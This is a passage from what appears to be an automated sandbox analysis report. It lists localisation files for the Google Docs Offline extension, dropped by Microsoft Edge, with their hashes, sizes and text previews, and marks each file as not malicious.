SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
